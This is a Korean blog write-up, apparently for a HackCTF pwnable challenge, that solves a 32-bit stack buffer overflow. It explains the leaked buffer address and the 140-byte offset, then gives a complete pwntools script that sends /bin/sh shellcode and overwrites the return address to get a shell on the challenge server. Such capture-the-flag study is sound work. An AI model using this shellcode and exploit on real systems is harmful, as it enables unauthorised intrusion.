32bit ELF File이다.
main함수로 ㄱㄱ
데이터를 입력받고, 입력받은 곳의 주소를 출력해준다. 그리고 y를 보내주면 루프를 반복시킬 수 있다.
더미 데이터를 보내서 주소값을 얻어내고, 쉘코드 + 더미 + 얻은 주소값(ret)를 보내주면 쉘을 딸 수 있다.
s와 ret사이 거리는 0x88 + 0x4 = 136+4 = 140이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3006)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" #25
p.recvuntil(": ")
p.sendline("1")
buf = int(p.recv(10), 16)
print hex(buf)
p.sendline("y")
payload = shellcode
payload += "A" * (140-25)
payload += p32(buf)
p.sendline(payload)
p.interactive()
|
cs |
1을 보내주어서 버퍼 주소값을 구한다.
y 입력으로 루프를 한 번더 진행시킨다.
쉘코드를 넣고 리턴주소를 덮어준다.
interactive()모드에서 n을 입력해주어 루프를 벗어난다.
쉘을 딴다.
'WAR GAME > HackCTF' 카테고리의 다른 글
HackCTF Pwnable [BOF_PIE] 풀이 (0) | 2019.08.30 |
---|---|
HackCTF Pwnable [Offset] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [x64 Simple_size_BOF] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [x64 Buffer Overflow] 풀이 (0) | 2019.08.29 |
HackCTF Pwnable [내 버퍼가 흘러넘친다!!!] 풀이 (0) | 2019.08.29 |